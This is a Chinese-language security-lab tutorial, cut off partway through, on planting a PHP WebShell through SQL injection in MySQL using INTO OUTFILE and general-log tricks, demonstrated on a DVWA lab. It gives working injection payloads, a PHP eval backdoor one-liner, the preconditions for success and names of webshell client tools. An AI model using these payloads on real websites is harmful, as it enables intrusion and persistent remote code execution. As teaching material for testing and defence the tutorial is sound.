三大数据库如何写入WebShell?
WebShell作为黑客常用来提权的工具,通常出现在存在任意文件上传漏洞的网站中,但如果遇到一个没有任何的上传点的网站,想通过文件上传漏洞获得权限显然就行不通了,但所谓“山穷水尽疑无路,柳暗花明又一村”,此时一个SQL注入点摆在你眼前,你能否珍惜这来之不易的机会,拿到WebShell呢?
本期美创安全实验室将带大家了解,如何通过三大数据库 (MySQL、SqlServer、Oracle)获取网站的WebShell。
MySQL写入WebShell
01必备条件
想要成功向MySQL写入WebShell需要至少满足以下4个条件:
① 数据库的当前用户为ROOT或拥有FILE权限;
② 知道网站目录的绝对路径;
③ PHP的GPC参数为off状态;
④ MySQL中的secure_file_priv参数不能为NULL状态。
注意:关于其中第4点,secure_file_priv参数是MySQL用来限制数据导入和导出操作的效果,如果这个参数被设为了一个目录名,那么MySQL会允许仅在这个目录中可以执行文件的导入和导出,例如LOAD DATA、SELECT。。。INTOOUTFILE、LOAD_FILE()等。如果这个参数为NULL,MySQL会禁止导入导出操作,但是这只是意味着通过outfile方法写入WebShell是无法成功的,但是通过导出日志的方法是可以的。
02写入方法
向MySQL写入WebShell的方式一共有两种,分别是:1、使用outfile方法,2、基于log日志写入法。
Outfile方法其实是MySQL提供的一个用来写入文件的函数,当我们可以控制写入的文件内容以及文件的保存路径时,我们就可以达到传入WebShell的目的。当我们可以使用union查询时,我们构造一个如下语句,就可以达到效果:
Union select “这里是WebShell” into outfile “Web目录”;
当我们无法使用union时,还有一些其他方法也可以实现(利用分隔符写入):
?id=1 INTO OUTFILE '物理路径' lines terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE '物理路径' fields terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE'物理路径'columns terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE '物理路径' lines startingby (这里是WebShell)#
基于log日志写入的方法其实是先将日志文件的导出目录修改成Web目录,然后执行了一次简单的WebShell代码查询功能,此时日志文件记录了此过程,这样再Web目录下的日志文件就变成了WebShell。例如,我们先设置日志文件的导出目录:set global general_file = ‘Web目录’;然后执行一遍:select “WebShell代码”;即可。
03使用OUTFILE方法写入Webshell
(1)实验前准备
检查secure_file_priv是否开启:show variables like‘%secure%’;确认其不为NULL。有值或为空都可以。(若是为NULL,则需要到my.ini文件中手动修改)
图1:检查secure_file_priv是否开启
检查当前用户是否具备写权限:selectuser,file_priv from mysql.user;确认其用户的值为Y即代表此用户拥有文件写入权限。
图2:用户是否具备写权限
(2)确认注入点
http:/192.168.20.35/DVWA-master/vulnerabilities/sqli/?id=1;
参数ID存在SQL注入漏洞
http:/192.168.20.35/DVWA-master/vulnerabilities/sqli/?id=1’union select version(),user() #
图3:确认注入点
(3)利用outfile写入shell文件
若secure_file_priv为空,则可以向任意目录写入文件,若secure_file_priv有值,则只能向该值指向的目录写入文件,因为我们的值为空,所以就任意目录写入,但因为还需要工具进行连接,所以最好放在网站的根目录下。
PAYLOAD(使用Union查询注入):1‘unionselect1,”<?phpeval(#_POST[‘pass’]); ?>” into outfile“F:PhpStudy20180211
PHPTutorialWWWTp.php” #
PAYLOAD(不用Union):1’intooutfile“F:Php、Study2018021PHPTutorialWWWTp.php” fields terminated by “<?phpeval(#_POST[‘pass’]); ?>” #
图4:利用outfile写入shell文件
文件已被写入到网站的根目录下,接下来就可以使用连接工具(蚁剑、菜刀、冰蝎等)进行连接了。
图5:网站根目录
04使用导入日志的方法写入Webshell
(1)实验前准备:
检查当前MySQL下log日志是否开启,以及log的默认地址在哪里:show variables like ‘%general%’;
图6:检查log日志是否开启
图片新闻
最新活动更多
-
即日-12.5立即观看>> 松下新能源中国布局:锂一次电池新品介绍
-
12月19日立即报名>> 【线下会议】OFweek 2024(第九届)物联网产业大会
-
精彩回顾立即查看>> 2024 智能家居出海论坛
-
精彩回顾立即查看>> 2024中国国际工业博览会维科网·激光VIP企业展台直播
-
精彩回顾立即查看>> 【产品试用】RSE30/60在线红外热像仪免费试用
-
精彩回顾立即查看>> 2024(第五届)全球数字经济产业大会暨展览会
发表评论
请输入评论内容...
请输入评论/评论长度6~500个字
暂无评论
暂无评论